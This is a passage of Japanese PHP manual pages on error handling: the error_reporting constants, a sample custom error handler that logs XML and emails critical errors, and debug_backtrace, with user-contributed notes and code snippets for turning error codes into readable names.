echo "[".getErrorTypeByValue( 1 ) . "]". PHP_EOL;
echo "[".getErrorTypeByValue( 0 ) . "]". PHP_EOL;
echo "[".getErrorTypeByValue( 8 ) . "]". PHP_EOL;
?>

Will give
    [E_ERROR=1]
    []
    [E_NOTICE=8]
bbrokman at gmail dot com 01-Jun-2019 11:14
A neat way to have a place in code to control error reporting configuration :)

<?php

$errorsActive = [
    E_ERROR             => FALSE,
    E_WARNING           => TRUE,
    E_PARSE             => TRUE,
    E_NOTICE            => TRUE,
    E_CORE_ERROR        => FALSE,
    E_CORE_WARNING      => FALSE,
    E_COMPILE_ERROR     => FALSE,
    E_COMPILE_WARNING   => FALSE,
    E_USER_ERROR        => TRUE,
    E_USER_WARNING      => TRUE,
    E_USER_NOTICE       => TRUE,
    E_STRICT            => FALSE,
    E_RECOVERABLE_ERROR => TRUE,
    E_DEPRECATED        => FALSE,
    E_USER_DEPRECATED   => TRUE,
    E_ALL               => FALSE,
];

error_reporting(
    array_sum(
        array_keys($errorsActive, $search = true)
    )
);

?>
paulsnar 19-Apr-2018 02:08
PHP 7 makes E_STRICT irrelevant, reclassifying most of the errors as proper warnings, notices or E_DEPRECATED: https://wiki.php.net/rfc/reclassify_e_strict
cl at viazenetti dot de 24-Nov-2017 05:24
An other way to get all PHP errors  that are set to be reported. This code will even work, when additional error types are added in future.

<?php
$pot = 0;
foreach (array_reverse(str_split(decbin(error_reporting()))) as $bit) {
    if ($bit == 1) {
        echo array_search(pow(2, $pot), get_defined_constants(true)['Core']). "<br>\n";
    }
    $pot++;
}
?>
espertalhao04 at hotmail dot com 20-Apr-2017 04:58
A simplified way of writting a function to return a (non-optimal) representation of the error code as a bitwise string:

<?php
    function readable_error_type($error_code)
    {
        $constants = array();
        foreach(get_defined_constants() as $key => $value)
        {
            if(strpos($key, 'E_') === 0 && ($value <= $error_code) && ($value & $error_code))
            {
                $constants[] = $key;
            }
        }

        return implode(' | ', $constants);
    }
?>

This only works for values above 0.
ilpaijin at gmail dot com 23-Mar-2017 04:12
The bitmask values relative to the Constant E_ALL is 30719, in case of PHP 5.6.x
ahsankhatri1992 at gmail 26-Aug-2016 03:47
Notes posted above limited to current errors level as on 26th Aug 2016, following snippet will work even on introduction of new error level

$errLvl = error_reporting();
for ( $i = 1; $i < E_ALL;  $i*=2 )
{
    print FriendlyErrorType($errLvl & $i) . "<br>\n";
}

function FriendlyErrorType($type)
{
    switch($type)
    {
        case E_ERROR: // 1 //
            return 'E_ERROR';
        case E_WARNING: // 2 //
            return 'E_WARNING';
        case E_PARSE: // 4 //
            return 'E_PARSE';
        case E_NOTICE: // 8 //
            return 'E_NOTICE';
        case E_CORE_ERROR: // 16 //
            return 'E_CORE_ERROR';
        case E_CORE_WARNING: // 32 //
            return 'E_CORE_WARNING';
        case E_COMPILE_ERROR: // 64 //
            return 'E_COMPILE_ERROR';
        case E_COMPILE_WARNING: // 128 //
            return 'E_COMPILE_WARNING';
        case E_USER_ERROR: // 256 //
            return 'E_USER_ERROR';
        case E_USER_WARNING: // 512 //
            return 'E_USER_WARNING';
        case E_USER_NOTICE: // 1024 //
            return 'E_USER_NOTICE';
        case E_STRICT: // 2048 //
            return 'E_STRICT';
        case E_RECOVERABLE_ERROR: // 4096 //
            return 'E_RECOVERABLE_ERROR';
        case E_DEPRECATED: // 8192 //
            return 'E_DEPRECATED';
        case E_USER_DEPRECATED: // 16384 //
            return 'E_USER_DEPRECATED';
    }
    return "";
}
kezzyhko at NOSPAM dot semysha dot ru 13-Aug-2016 06:58
As for me, the best way to get error name by int value is that. And it's works fine for me ;)
<?php

array_flip(array_slice(get_defined_constants(true)['Core'], 1, 15, true))[$type];

//the same in readable form
array_flip(
    array_slice(
        get_defined_constants(true)['Core'],
        1,
        15,
        true
    )
)[$type]

?>
Herbert 22-Jun-2016 08:00
if you want to bring this list back to the categories error/warning/notice/all

<?php

$error_level   = 'warning';      //  Allowed values: error/warning/notice/all

$error_error   = (int)                  E_ERROR | E_USER_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_RECOVERABLE_ERROR | E_PARSE;
$error_warning = (int) $error_error   | E_WARNING | E_USER_WARNING | E_CORE_WARNING | E_COMPILE_WARNING;
$error_notice  = (int) $error_warning | E_NOTICE | E_USER_NOTICE | E_DEPRECATED | E_USER_DEPRECATED;
$error_all     = (int) $error_notice  | E_STRICT;

error_reporting ($GLOBALS["error_$error_level"]);

?>
Anonymous 15-Jun-2016 07:38
My version!
For long list function returns for example "E_ALL without E_DEPRECATED "

function errorLevel()
{
    $levels = array(
        'E_ERROR',
        'E_WARNING',
        'E_PARSE',
        'E_NOTICE',
        'E_CORE_ERROR',
        'E_CORE_WARNING',
        'E_COMPILE_ERROR',
        'E_COMPILE_WARNING',
        'E_USER_ERROR',
        'E_USER_WARNING',
        'E_USER_NOTICE',
        'E_STRICT',
        'E_RECOVERABLE_ERROR',
        'E_DEPRECATED',
        'E_USER_DEPRECATED',
        'E_ALL'
    );
    $excluded = $included = array();
    $errLvl = error_reporting();
    foreach ($levels as $lvl) {
        $val = constant($lvl);
        if ($errLvl & $val) {
            $included []= $lvl;
        } else {
                $excluded []= $lvl;
        }
    }
    if (count($excluded) > count($included)) {
        echo '<br />Consist: '.implode(',', $included);
    } else {
        echo '<br />Consist: E_ALL without '.implode(',', $excluded);
    }
}
damian at thebestisp dot dot dot com 17-Mar-2016 02:22
I saw that Chris seems to think that errors might be combined in some cases, I don't know of any cases, but his code is overly verbose, inefficient, and doesn't take into account future E_ constants. Here's my version of handling multiple errors (which probably wont ever happen) using my other code as a base. The only real difference is that this doesn't bother to split out undefined bits, which is pretty much useless and would get rather messy if you have more than a few bits set above 2**14 (0 to 14 have an associated error).

<?php
function friendly_error_type($type) {
    static $levels=null;
    if ($levels===null) {
        $levels=[];
        foreach (get_defined_constants() as $key=>$value) {
            if (strpos($key,'E_')!==0) {continue;}
            $levels[$value]=substr($key,2);
        }
    }
    $out=[];
    foreach ($levels as $int=>$string) {
        if ($int&$type) {$out[]=$string;}
        $type&=~$int;
    }
    if ($type) {$out[]="Error Remainder [{$type}]";}
    return implode(' & ',$out);
}
echo friendly_error_type(E_ERROR|E_USER_DEPRECATED); //ERROR & USER_DEPRECATED
echo friendly_error_type(2**20-1); //ERROR & RECOVERABLE_ERROR & WARNING & PARSE & NOTICE & STRICT & DEPRECATED & CORE_ERROR & CORE_WARNING & COMPILE_ERROR & COMPILE_WARNING & USER_ERROR & USER_WARNING & USER_NOTICE & USER_DEPRECATED & Error Remainder [1015808]
?>
damian at thebestisp dot dot dot com 15-Mar-2016 04:21
I use this code to help mimic the default error handler, the only difference is that the levels end up being all caps, which I don't care to fix. You could also get rid of the underscores, but again, I don't care :P
Until php starts adding constants starting with E_ that have values overlapping with other E_ constants, this seems to be the shortest way of converting error code integers to strings understandable by meat bags. It will also work with new types, so that's nice.
<?php
function friendly_error_type($type) {
    static $levels=null;
    if ($levels===null) {
        $levels=[];
        foreach (get_defined_constants() as $key=>$value) {
            if (strpos($key,'E_')!==0) {continue;}
            $levels[$value]=substr($key,2);
        }
    }
    return (isset($levels[$type]) ? $levels[$type] : "Error #{$type}");
}
echo friendly_error_type(1); #ERROR
echo friendly_error_type(2); #WARNING
echo friendly_error_type(3); #Error #3
?>
Tested on 5.6.12 and 7.0.3 (The first was by accident, didn't realize I was sshed into production :3)
chris-php at IGNORETHISPART dot cybermato dot com 29-Aug-2014 07:06
How about this?  Unlike the examples below, it will show all the bits that are set, AND handle any bits defined in the future (at least not silently hide them)...

    $strErrorType = "";
    $bit = 1;
    $tmpErrNo = $errNo;
    while ($tmpErrNo) {
        if ($tmpErrNo & $bit) {
            if ($strErrorType != "")
                $strErrorType .= " | ";
            switch ($bit) {
            case E_USER_WARNING:
                $strErrorType .= "E_USER_WARNING"; break;
            case E_USER_NOTICE:
                $strErrorType .= "E_USER_NOTICE"; break;
            case E_WARNING:
                $strErrorType .= "E_WARNING"; break;
            case E_CORE_WARNING:
                $strErrorType .= "E_CORE_WARNING"; break;
            case E_COMPILE_WARNING:
                $strErrorType .= "E_COMPILE_WARNING"; break;
            case E_NOTICE:
                $strErrorType .= "E_NOTICE"; break;
            case E_ERROR:
                $strErrorType .= "E_ERROR"; break;
            case E_PARSE:
                $strErrorType .= "E_PARSE"; break;
            case E_CORE_ERROR:
                $strErrorType .= "E_CORE_ERROR"; break;
            case E_COMPILE_ERROR:
                $strErrorType .= "E_COMPILE_ERROR"; break;
            case E_USER_ERROR:
                $strErrorType .= "E_USER_ERROR"; break;
            default:
                $strErrorType .= "(unknown error bit $bit)"; break;
            }
        }
        $tmpErrNo &= ~$bit;
        $bit <<= 1;
    }
Anonymous 02-Sep-2012 07:31
this would give you all the reported exception list of your configuration.

<?php
function FriendlyErrorType($type)
{
    $return ="";
    if($type & E_ERROR) // 1 //
        $return.='& E_ERROR ';
    if($type & E_WARNING) // 2 //
        $return.='& E_WARNING ';
    if($type & E_PARSE) // 4 //
        $return.='& E_PARSE ';
    if($type & E_NOTICE) // 8 //
        $return.='& E_NOTICE ';
    if($type & E_CORE_ERROR) // 16 //
        $return.='& E_CORE_ERROR ';
    if($type & E_CORE_WARNING) // 32 //
        $return.='& E_CORE_WARNING ';
    if($type & E_COMPILE_ERROR) // 64 //
        $return.='& E_COMPILE_ERROR ';
    if($type & E_COMPILE_WARNING) // 128 //
        $return.='& E_COMPILE_WARNING ';
    if($type & E_USER_ERROR) // 256 //
        $return.='& E_USER_ERROR ';
    if($type & E_USER_WARNING) // 512 //
        $return.='& E_USER_WARNING ';
    if($type & E_USER_NOTICE) // 1024 //
        $return.='& E_USER_NOTICE ';
    if($type & E_STRICT) // 2048 //
        $return.='& E_STRICT ';
    if($type & E_RECOVERABLE_ERROR) // 4096 //
        $return.='& E_RECOVERABLE_ERROR ';
    if($type & E_DEPRECATED) // 8192 //
        $return.='& E_DEPRECATED ';
    if($type & E_USER_DEPRECATED) // 16384 //
        $return.='& E_USER_DEPRECATED ';
    return substr($return,2);
}
echo "error_reporting = " . FriendlyErrorType(ini_get('error_reporting')) .";<br>";
?>
russthom at fivegulf dot com 16-Jul-2012 06:25
[Editor's note: fixed E_COMPILE_* cases that incorrectly returned E_CORE_* strings. Thanks josiebgoode.]

The following code expands on Vlad's code to show all the flags that are set.  if not set, a blank line shows.

<?php
$errLvl = error_reporting();
for ($i = 0; $i < 15;  $i++ ) {
    print FriendlyErrorType($errLvl & pow(2, $i)) . "<br>\\n";
}

function FriendlyErrorType($type)
{
    switch($type)
    {
        case E_ERROR: // 1 //
            return 'E_ERROR';
        case E_WARNING: // 2 //
            return 'E_WARNING';
        case E_PARSE: // 4 //
            return 'E_PARSE';
        case E_NOTICE: // 8 //
            return 'E_NOTICE';
        case E_CORE_ERROR: // 16 //
            return 'E_CORE_ERROR';
        case E_CORE_WARNING: // 32 //
            return 'E_CORE_WARNING';
        case E_COMPILE_ERROR: // 64 //
            return 'E_COMPILE_ERROR';
        case E_COMPILE_WARNING: // 128 //
            return 'E_COMPILE_WARNING';
        case E_USER_ERROR: // 256 //
            return 'E_USER_ERROR';
        case E_USER_WARNING: // 512 //
            return 'E_USER_WARNING';
        case E_USER_NOTICE: // 1024 //
            return 'E_USER_NOTICE';
        case E_STRICT: // 2048 //
            return 'E_STRICT';
        case E_RECOVERABLE_ERROR: // 4096 //
            return 'E_RECOVERABLE_ERROR';
        case E_DEPRECATED: // 8192 //
            return 'E_DEPRECATED';
        case E_USER_DEPRECATED: // 16384 //
            return 'E_USER_DEPRECATED';
    }
    return "";
}
?>
vladvarna at gmail dot com 16-Mar-2012 09:35
function FriendlyErrorType($type)
    {
        switch($type)
            {
            case E_ERROR: // 1 //
                return 'E_ERROR';
            case E_WARNING: // 2 //
                return 'E_WARNING';
            case E_PARSE: // 4 //
                return 'E_PARSE';
            case E_NOTICE: // 8 //
                return 'E_NOTICE';
            case E_CORE_ERROR: // 16 //
                return 'E_CORE_ERROR';
            case E_CORE_WARNING: // 32 //
                return 'E_CORE_WARNING';
            case E_CORE_ERROR: // 64 //
                return 'E_COMPILE_ERROR';
            case E_CORE_WARNING: // 128 //
                return 'E_COMPILE_WARNING';
            case E_USER_ERROR: // 256 //
                return 'E_USER_ERROR';
            case E_USER_WARNING: // 512 //
                return 'E_USER_WARNING';
            case E_USER_NOTICE: // 1024 //
                return 'E_USER_NOTICE';
            case E_STRICT: // 2048 //
                return 'E_STRICT';
            case E_RECOVERABLE_ERROR: // 4096 //
                return 'E_RECOVERABLE_ERROR';
            case E_DEPRECATED: // 8192 //
                return 'E_DEPRECATED';
            case E_USER_DEPRECATED: // 16384 //
                return 'E_USER_DEPRECATED';
            }
        return $type;
    }
Andy at Azurite (co uk) 16-Apr-2011 04:15
-1 is also semantically meaningless as a bit field, and only works in 2s-complement numeric representations.  On a 1s-complement system -1 would not set E_ERROR.  On a sign-magnitude system -1 would set nothing at all! (see e.g. http://en.wikipedia.org/wiki/Ones%27_complement)

If you want to set all bits, ~0 is the correct way to do it.

But setting undefined bits could result in undefined behaviour and that means *absolutely anything* could happen :-)
PhpMyCoder 15-Jul-2010 03:26
Well, technically -1 will show all errors which includes any new ones included by PHP. My guess is that E_ALL will always include new error constants so I usually prefer:

<?php
error_reporting(E_ALL | E_STRICT);
?>

Reason being: With a quick glance anyone can tell you what errors are reported. -1 might be a bit more cryptic to newer programmers.


例

エラー処理機能を PHP で使用するための例を示します。 ファイルに(XML 形式で)情報を記録し、論理的に致命的なエラーの場合に、 開発者に電子メールを送信するようなエラー処理関数を定義します。

例1 スクリプト内でのエラー処理

<?php
// 自分のエラーハンドリングを行います
error_reporting(0);

// ユーザーの定義したエラーハンドリング関数
function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars)
{
    // エラーエントリのタイムスタンプ
    $dt = date("Y-m-d H:i:s (T)");

    // エラー文字列の連想配列を定義します。
    // 実際のところ、考慮する必要があるのは
    // E_WARNING、E_NOTICE、E_USER_ERROR、
    // E_USER_WARNING そして E_USER_NOTICE だけです。
    $errortype = array (
                E_ERROR              => 'Error',
                E_WARNING            => 'Warning',
                E_PARSE              => 'Parsing Error',
                E_NOTICE             => 'Notice',
                E_CORE_ERROR         => 'Core Error',
                E_CORE_WARNING       => 'Core Warning',
                E_COMPILE_ERROR      => 'Compile Error',
                E_COMPILE_WARNING    => 'Compile Warning',
                E_USER_ERROR         => 'User Error',
                E_USER_WARNING       => 'User Warning',
                E_USER_NOTICE        => 'User Notice',
                E_STRICT             => 'Runtime Notice',
                E_RECOVERABLE_ERROR  => 'Catchable Fatal Error'
                );
    // set of errors for which a var trace will be saved
    $user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

    $err = "<errorentry>\n";
    $err .= "\t<datetime>" . $dt . "</datetime>\n";
    $err .= "\t<errornum>" . $errno . "</errornum>\n";
    $err .= "\t<errortype>" . $errortype[$errno] . "</errortype>\n";
    $err .= "\t<errormsg>" . $errmsg . "</errormsg>\n";
    $err .= "\t<scriptname>" . $filename . "</scriptname>\n";
    $err .= "\t<scriptlinenum>" . $linenum . "</scriptlinenum>\n";

    if (in_array($errno, $user_errors)) {
        $err .= "\t<vartrace>" . wddx_serialize_value($vars, "Variables") . "</vartrace>\n";
    }
    $err .= "</errorentry>\n\n";

    // テスト用
    // echo $err;

    // エラーログを保存し、重大なユーザーエラーは自分にメールする
    error_log($err, 3, "/usr/local/php4/error.log");
    if ($errno == E_USER_ERROR) {
        mail("phpdev@example.com", "Critical User Error", $err);
    }
}

function distance($vect1, $vect2)
{
    if (!is_array($vect1) || !is_array($vect2)) {
        trigger_error("Incorrect parameters, arrays expected", E_USER_ERROR);
        return NULL;
    }

    if (count($vect1) != count($vect2)) {
        trigger_error("Vectors need to be of the same size", E_USER_ERROR);
        return NULL;
    }

    for ($i=0; $i<count($vect1); $i++) {
        $c1 = $vect1[$i]; $c2 = $vect2[$i];
        $d = 0.0;
        if (!is_numeric($c1)) {
            trigger_error("Coordinate $i in vector 1 is not a number, using zero",
                            E_USER_WARNING);
            $c1 = 0.0;
        }
        if (!is_numeric($c2)) {
            trigger_error("Coordinate $i in vector 2 is not a number, using zero",
                            E_USER_WARNING);
            $c2 = 0.0;
        }
        $d += $c2*$c2 - $c1*$c1;
    }
    return sqrt($d);
}

$old_error_handler = set_error_handler("userErrorHandler");

// 未定義定数による警告の生成
$t = I_AM_NOT_DEFINED;

// いくつかの「ベクタ」定義
$a = array(2, 3, "foo");
$b = array(5.5, 4.3, -1.6);
$c = array(1, -3);

// ユーザーエラーの生成
$t1 = distance($c, $b) . "\n";

// 他のユーザーエラーの生成
$t2 = distance($b, "i am not an array") . "\n";

// 警告の生成
$t3 = distance($a, $b) . "\n";

?>

User Contributed Notes

There are no user contributed notes for this page.


エラー処理関数

参考

syslog()も参照してください。

目次

  • debug_backtrace — バックトレースを生成する
  • debug_print_backtrace — バックトレースを表示する
  • error_clear_last — 最も最近のエラーをクリア
  • error_get_last — 最後に発生したエラーを取得する
  • error_log — 定義されたエラー処理ルーチンにエラーメッセージを送信する
  • error_reporting — 出力する PHP エラーの種類を設定する
  • restore_error_handler — 以前のエラーハンドラ関数を回復する
  • restore_exception_handler — 以前の例外ハンドラ関数を回復する
  • set_error_handler — ユーザー定義のエラーハンドラ関数を設定する
  • set_exception_handler — ユーザー定義の例外ハンドラ関数を設定する
  • trigger_error — ユーザーレベルのエラー/警告/通知メッセージを生成する
  • user_error — trigger_error のエイリアス

User Contributed Notes

jbq at caraldi dot com 15-Nov-2007 05:50
Precision about error_log when configured with syslog: the syslog() call is done with severity NOTICE.
Stephen 18-Jan-2007 03:29
If you are using PHP as an Apache module, your default behavior may be to write PHP error messages to Apache's error log. This is because the error_log .ini directive may be set equal to "error_log" which is also the name of Apache's error log. I think this is intentional.

However, you can separate Apache errors from PHP errors if you wish by simply setting a different value for error_log. I write mine in the /var/log folder.
petrov dot michael () gmail com 16-Jan-2007 11:11
I have found that on servers that enforce display_errors to be off it is very inconvenient to debug syntax errors since they cause fatal startup errors. I have used the following method to bypass this limitation:

The syntax error is inside the file "syntax.php", therefore I create a file "syntax.debug.php" with the following code:

<?php
error_reporting(E_ALL);
ini_set('display_errors','On');

include('syntax.php');
?>

The 5 line file is guaranteed to be free of errors, allowing PHP to execute the directives within it before including the file which previously caused fatal startup errors. Now those fatal startup errors become run time fatal errors.
mortonda at dgrmm dot net 08-Jan-2007 05:16
Note the example code listed here calls date() every time this is called.   If you have a complex source base which calls the custom error handler often, it can end up taking quite a bit of time.  I ran a profiler on som code and discovered that 50% of the time was spent in the date function in this error handler.
theotek AT nowhere DOT org 04-Aug-2006 08:40
It is totally possible to use debug_backtrace() inside an error handling function. Here, take a look:

<?php
set_error_handler('errorHandler');

function errorHandler( $errno, $errstr, $errfile, $errline, $errcontext)
{
  echo 'Into '.__FUNCTION__.'() at line '.__LINE__.
  "\n\n---ERRNO---\n". print_r( $errno, true).
  "\n\n---ERRSTR---\n". print_r( $errstr, true).
  "\n\n---ERRFILE---\n". print_r( $errfile, true).
  "\n\n---ERRLINE---\n". print_r( $errline, true).
  "\n\n---ERRCONTEXT---\n".print_r( $errcontext, true).
  "\n\nBacktrace of errorHandler()\n".
  print_r( debug_backtrace(), true);
}

function a( )
{
  //echo "a()'s backtrace\n".print_r( debug_backtrace(), true);
  asdfasdf; // oops
}

function b()
{
  //echo "b()'s backtrace\n".print_r( debug_backtrace(), true);
  a();
}

b();
?>

Outputs:

<raw>

Into errorhandler() at line 9

---ERRNO---
8

---ERRSTR---
Use of undefined constant asdfasdf - assumed 'asdfasdf'

---ERRFILE---
/home/theotek/test-1.php

---ERRLINE---
23

---ERRCONTEXT---
Array
(
)

Backtrace of errorHandler()
Array
(
    [0] => Array
        (
            [function] => errorhandler
            [args] => Array
                (
                    [0] => 8
                    [1] => Use of undefined constant asdfasdf - assumed 'asdfasdf'
                    [2] => /home/theotek/test-1.php
                    [3] => 23
                    [4] => Array
                        (
                        )

                )

        )

    [1] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 23
            [function] => a
        )

    [2] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 30
            [function] => a
            [args] => Array
                (
                )

        )

    [3] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 33
            [function] => b
            [args] => Array
                (
                )

        )

)

</raw>

So, the first member of the backtrace's array is not really surprising, except from the missing "file" and "line" members.

The second member of the backtrace seem the be a hook inside the zend engine that is used to trigger the error.

Other members are the normal backtrace.
tracerdx at tracerdx dot com 28-Nov-2005 09:46
I keep seeing qualification lists for error types/error-nums as arrays; In user notes and in the manual itself. For example, in this manual entry's example, when trying to seperate behavior for the variable trace in the error report:

<?php //...

// set of errors for which a var trace will be saved
$user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

//and later...

if (in_array($errno, $user_errors)) {
    //...whatever
}

//... ?>

I was under the impression that PHP error code values where bitwise flag values. Wouldn't bitwise masking be better? So I propose a slightly better way:
<?php //...

$user_errors = E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE;

//...blah...

if ($errno & $user_errors) {
    //...whatever
}

//... ?>
Or for those of you who don't like the idea of using an integer as the condition in an if statement:

<?php
if (($errno & $user_errors) > 0) {
    //...whatever
}
?>

I think that's much more efficient than using _yet another_ array() constuct and an in_array().

If I am wrong, and the E_* constants aren't supposed to be used in this fashion (ie, the constans aren't guaranteed to be bitwise, which would be odd since that's how they're setup in the php.ini file), then delete me. I just don't see why one should be using arrays when bitwise comparisons will work, considering the bitwise method should be MUCH more efficient.
20-May-2005 04:20
When configuring your error log file in php.ini, you can use an absolute path or a relative path.  A relative path will be resolved based on the location of the generating script, and you'll get a log file in each directory you have scripts in.  If you want all your error messages to go to the same file, use an absolute path to the file.

In some application development methodologies, there is the concept of an application root directory, indicated by "/" (even on Windows).  However, PHP does not seem to have this concept, and using a "/" as the initial character in a log file path produces weird behavior on Windows.

If you are running on Windows and have set, in php.ini:

  error_log = "/php_error.log"

You will get some, but not all, error messages.  The file will appear at

  c:\php_error.log

and contain internally generated error messages, making it appear that error logging is working.  However, log messages requested by error_log() do NOT appear here, or anywhere else, making it appear that the code containing them did not get processed.

Apparently on Windows the internally generated errors will interpret "/" as "C:\" (or possibly a different drive if you have Windows installed elsewhere - I haven't tested this).  However, the error_log process apparently can't find "/" - understandably enough - and the message is dropped silently.
shawing at gmail dot com 27-Jan-2005 02:05
Although the root user writes to the files 'error_log' and 'access_log', the Apache user has to own the file referenced by 'error_log = filename' or no log entries will be written.

; From php.ini
; Log errors to specified file.
error_log = /usr/local/apache/logs/php.errors

[root@www logs]$ ls -l /usr/local/apache/logs/php.errors
-rw-r--r--    1 nobody   root          27K Jan 27 16:58 php.errors
ptah at se dot linux dot org 09-Sep-2004 05:20
PHP5 only (only tested with php5.0).

If you, for some reason, prefer exceptions over errors and have your custom error handler (set_error_handler) wrap the error into an exception you have to be careful with your script.

Because if you, instead of just calling the exception handler, throws the exception, and having a custom exception handler (set_exception_handler). And an error is being triggered inside that exception handler, you will get a weird error:
"Fatal error: Exception thrown without a stack frame in Unknown on line 0"

This error is not particulary informative, is it? :)

This example below will cause this error.
<?php
class PHPErrorException extends Exception
{
    private $context = null;
    public function __construct
        ($code, $message, $file, $line, $context = null)
    {
        parent::__construct($message, $code);
        $this->file = $file;
        $this->line = $line;
        $this->context = $context;
    }
};

function error_handler($code, $message, $file, $line) {
    throw new PHPErrorException($code, $message, $file, $line);
}

function exception_handler(Exception $e)
{
    $errors = array(
        E_USER_ERROR        => "User Error",
        E_USER_WARNING        => "User Warning",
        E_USER_NOTICE        => "User Notice",
        );

    echo $errors[$e->getCode()].': '.$e->getMessage().' in '.$e->getFile().
        ' on line '.$e->getLine()."\n";
    echo $e->getTraceAsString();
}

set_error_handler('error_handler');
set_exception_handler('exception_handler');

// Throw exception with an /unkown/ error code.
throw new Exception('foo', 0);
?>

There are however, easy fix for this as it's only cause is sloppy code.
Like one, directly call exception_handler from error_handler instead of throwing an exception. Not only does it remedy this problem, but it's also faster. Though this will cause a `regular` unhandled exception being printed and if only "designed" error messages are intended, this is not the ultimate solution.

So, what is there to do? Make sure the code in exception_handlers doesn't cause any errors! In this case a simple isset() would have solved it.

regards, C-A B.


バックトレースを生成する

  • ≪ エラー処理関数
  • debug_print_backtrace ≫
  • PHP Manual
  • エラー処理関数
  • バックトレースを生成する

debug_backtrace

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

debug_backtrace — バックトレースを生成する

説明

debug_backtrace ( int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT , int $limit = 0 ) : array

debug_backtrace() は PHP バックトレースを生成します。

パラメータ

options

PHP 5.3.6 以降、このパラメータは次のオプションのビットマスクとなります。

debug_backtrace() のオプション
DEBUG_BACKTRACE_PROVIDE_OBJECT | "object" インデックスを埋めるかどうか。
DEBUG_BACKTRACE_IGNORE_ARGS | "args" インデックス、 すなわちすべての関数/メソッドの引数を省略してメモリを節約するかどうか。
5.3.6 より前のバージョンでは true あるいは false しか指定できませんでした。これは DEBUG_BACKTRACE_PROVIDE_OBJECT オプションを指定するかしないかを意味します。

limit

5.4.0 以降、このパラメータを使ってスタックフレームの数を制限できるようになりました。 デフォルト (limit=0) は、すべてのスタックフレームを返します。

返り値

連想配列の配列を返します。連想配列の要素として返される可能性があるものは以下のとおりです。

debug_backtrace() から返される可能性がある要素
名前 | 型 | 説明
function | string | カレントの関数名。 __FUNCTION__ も参照してください。
line | int | カレントの行番号。 __LINE__ も参照してください。
file | string | カレントのファイル名。 __FILE__ も参照してください。
class | string | カレントのクラス名。 __CLASS__ も参照してください。
object | object | カレントのオブジェクト。
type | string | カレントのコール方式。メソッド呼び出しの場合は "->"、 静的なメソッド呼び出しの場合は "::" が返されます。 関数呼び出しの場合は何も返されません。
args | array | 関数の内部の場合、関数の引数のリストとなります。 インクルードされたファイル内では、 読み込まれたファイルの名前となります。

例

例1 debug_backtrace() の例

<?php
// ファイル名: /tmp/a.php

function a_test($str)
{
    echo "\nHi: $str";
    var_dump(debug_backtrace());
}

a_test('friend');
?>

<?php
// ファイル名: /tmp/b.php
include_once '/tmp/a.php';
?>

/tmp/b.php を実行した際の結果は以下のようになります。

Hi: friend
array(2) {
[0]=>
array(4) {
    ["file"] => string(10) "/tmp/a.php"
    ["line"] => int(10)
    ["function"] => string(6) "a_test"
    ["args"]=>
    array(1) {
      [0] => &string(6) "friend"
    }
}
[1]=>
array(4) {
    ["file"] => string(10) "/tmp/b.php"
    ["line"] => int(2)
    ["args"] =>
    array(1) {
      [0] => string(10) "/tmp/a.php"
    }
    ["function"] => string(12) "include_once"
  }
}

参考

  • trigger_error() - ユーザーレベルのエラー/警告/通知メッセージを生成する
  • debug_print_backtrace() - バックトレースを表示する

User Contributed Notes

jcmargentina at gmail dot com 11-Oct-2019 06:50
I want to point out that debug_backtrace() in new versions of php can detect recursion // circular references .. avoiding memory consumption.

Example:

<?php

class ParentClass {
        public function __construct()
        {
                $this->_child = new ChildClass($this);
                var_dump(debug_backtrace());
        }
}

class ChildClass {
        public function __construct(ParentClass $p)
        {
                $this->_parent = $p;
        }
}

$test = new ParentClass();
?>

Output:

array(1) {
  [0]=>
  array(7) {
    ["file"]=>
    string(23) "/home/jcm/testdebug.php"
    ["line"]=>
    int(18)
    ["function"]=>
    string(11) "__construct"
    ["class"]=>
    string(11) "ParentClass"
    ["object"]=>
    object(ParentClass)#1 (1) {
      ["_child"]=>
      object(ChildClass)#2 (1) {
        ["_parent"]=>
        *RECURSION*
      }
    }
    ["type"]=>
    string(2) "->"
    ["args"]=>
    array(0) {
    }
  }
}

Attention in the *RECURSION* hint provided
jake at qzdesign dot co dot uk 09-Mar-2019 09:19
The `args` element contains only the arguments actually passed to the function or method.  It does not include default parameters if they were not explicitly specified.  (A least, this is the case with PHP 7.1.9.)  This is consistent with the behaviour of `func_get_args()`.
robert at medianis dot net 04-Oct-2016 09:42
Just a short note on debug_backtrace options for PHP 5.3.6 or newer:

debug_backtrace() - show all options
debug_backtrace(0) - exlude ["object"]
debug_backtrace(1) - same as debug_backtrace()
debug_backtrace(2) - exlude ["object"] AND ["args"]

use this example and try calling debug_backtrace with different options

<?php
function F1()
{
    echo "<br />";
    echo "in F1 now";
    echo "<pre>".print_r(debug_backtrace(2),true)."</pre>";
}

class DebugOptionsTest
{
    function F2()
    {
        echo "<br />";
        echo "in F2 now";
        F1();
    }

}

echo "<hr />calling F1";
F1();

$c=new DebugOptionsTest();
echo "<hr /><hr /><hr />calling F2";
$c->F2("testValue");

?>
Emmett Brosnan 18-Aug-2016 08:31
Quick and dirty formatted output from debug_backtrace.

$file_paths = debug_backtrace();

foreach($file_paths AS $file_path) {
  foreach($file_path AS $key => $var) {
    if($key == 'args') {
      foreach($var AS $key_arg => $var_arg) {
        echo $key_arg . ': ' . $var_arg . '<br>';
      }
    } else {
      echo $key . ': ' . $var . '<br>';
    }
  }
}
anoam at yandex dot ru 17-Oct-2014 08:12
It works a little bit different with resources in different PHP versions.

For example:
function foo($bar)
{
  return debug_backtrace();
}

$resource = fopen(__FILE__, 'r');
$backtrace = foo($resource);
echo "when resource is opened: " . gettype($backtrace[0]['args'][0]) . "\n";
fclose($resource);
echo "when resource is closed: " . gettype($backtrace[0]['args'][0]) . "\n";

With 5.3.10 I got:
when resource is opened: resource
when resource is closed: resource

With 5.5.9:
when resource is opened: resource
when resource is closed: unknown type

Be carefull.
jonas at faceways dot se 20-Sep-2013 07:41
When using debug_backtrace() to check if you're being accessed from another caller, please remember to ask debug_backtrace to only go as far as needed in depth and skip taking the entire debug object as return parameter:

<?php
    if (count(debug_backtrace(FALSE, 1)) == 0)
    {
        // Do something
    }
?>
